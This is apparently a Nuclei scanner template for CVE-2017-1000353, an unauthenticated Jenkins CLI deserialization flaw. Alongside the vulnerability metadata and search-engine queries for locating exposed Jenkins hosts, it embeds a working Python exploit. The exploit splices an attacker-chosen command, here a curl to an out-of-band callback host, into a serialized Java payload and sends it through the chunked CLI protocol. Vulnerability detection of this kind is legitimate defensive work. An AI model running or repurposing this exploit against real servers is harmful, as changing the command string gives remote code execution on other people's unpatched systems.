id: CVE-2017-1000353

info:
  name: Jenkins CLI - Java Deserialization
  author: hnd3884
  severity: critical
  description: |
    Jenkins versions 2.56 and earlier as well as 2.46.1 LTS and earlier are vulnerable to an unauthenticated remote code execution. An unauthenticated remote code execution vulnerability allowed attackers to transfer a serialized Java `SignedObject` object to the Jenkins CLI, that would be deserialized using a new `ObjectInputStream`, bypassing the existing blacklist-based protection mechanism. We're fixing this issue by adding `SignedObject` to the blacklist. We're also backporting the new HTTP CLI protocol from Jenkins 2.54 to LTS 2.46.2, and deprecating the remoting-based (i.e. Java serialization) CLI protocol, disabling it by default.
  reference:
    - http://packetstormsecurity.com/files/159266/Jenkins-2.56-CLI-Deserialization-Code-Execution.html
    - https://www.exploit-db.com/exploits/41965/
    - https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-1000353
    cwe-id: CWE-502
    epss-score: 0.94421
    epss-percentile: 0.99980
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
  metadata:
    vendor: jenkins
    product: jenkins
    shodan-query:
      - cpe:"cpe:2.3:a:jenkins:jenkins"
      - http.favicon.hash:"81586312"
      - product:"jenkins"
      - x-jenkins
    fofa-query: icon_hash=81586312
  tags: cve,cve2017,jenkins,rce

variables:
  OAST: "{{interactsh-url}}"
  ROOTURL: "{{RootURL}}"

code:
  - engine:
      - py
      - python3
    source: |
      import requests
      import uuid
      import threading
      import time
      import os
      import struct

      CMD = 'curl https://' + os.getenv('OAST')
      URL = '%s/cli' % os.getenv('ROOTURL').rstrip('/')
      PREAMLE = b'<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
      PROTO = b'\x00\x00\x00\x00'

      def java_string(s):
          length = len(s)
          packed_length = struct.pack(">H", length)
          return packed_length + s.encode()

      def download(url, session):
          headers = {'Side' : 'download'}
          headers['Content-type'] = 'application/x-www-form-urlencoded'
          headers['Session'] = session
          headers['Transfer-Encoding'] = 'chunked'
          r = requests.post(url, data=b' ', headers=headers,  stream=True, verify=False)
          print(r.content)

      def upload(url, session, data):
          headers = {'Side' : 'upload'}
          headers['Session'] = session
          headers['Content-type'] = 'application/octet-stream'
          headers['Accept-Encoding'] = None
          r = requests.post(url,data=data,headers=headers, verify=False)

      def upload_chunked(url,session):
          headers = {'Side' : 'upload'}
          headers['Session'] = session
          headers['Content-type'] = 'application/octet-stream'
          headers['Accept-Encoding']= None
          headers['Transfer-Encoding'] = 'chunked'
          headers['Cache-Control'] = 'no-cache'

          r = requests.post(url, headers=headers, data=create_payload_chunked(),  verify=False)
          print(r.content.hex())

      def create_payload_chunked():
          yield PREAMLE
          yield PROTO
          yield create_payload(CMD)

      def create_payload(cmd):
          serialized = "[encoded data, 4822 characters]".replace("0012746f756368202f746d702f686f616e676e64",java_string(cmd).hex()).replace('050baced000573', struct.pack(">H", 1291 + len(cmd)-18).hex()  + 'aced000573')
          return bytes.fromhex(serialized)

      def main():
          session = str(uuid.uuid4())
          t = threading.Thread(target=download, args=(URL, session))
          t.start()
          time.sleep(2)
          upload_chunked(URL, session)

      main()

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
# digest: 4a0a004730450221008ad7ac179e8f3a0e00ba3b55bbcd325bc227198722b23a0dbe8a67a6612064aa02205d4644f6641fec1f795b5e8798530e4fda4a73f321b2e9d982bcc104a3218ae5:922c64590222798bb761d5b6d8e72950